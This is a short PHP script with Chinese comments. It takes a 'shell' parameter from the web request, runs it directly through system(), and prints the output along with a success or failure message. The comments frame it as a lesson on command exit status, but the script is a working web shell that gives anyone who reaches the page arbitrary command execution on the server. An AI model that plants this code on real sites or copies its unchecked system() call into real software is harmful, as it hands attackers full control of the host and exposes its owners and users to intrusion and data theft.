<?php
	echo "Hello";
    #獲取網頁傳遞引數
    $shell = $_REQUEST['shell'];
    echo "<pre>";
    system($shell, $status);
    echo "</pre>";
    //注意shell命令的執行結果和執行返回的狀態值的對應關係
    $shell = "<font color='red'>$shell</font>";
    if( $status ){
        echo "shell命令{$shell}執行失敗";
    } else {
        echo "shell命令{$shell}成功執行";
    }
?>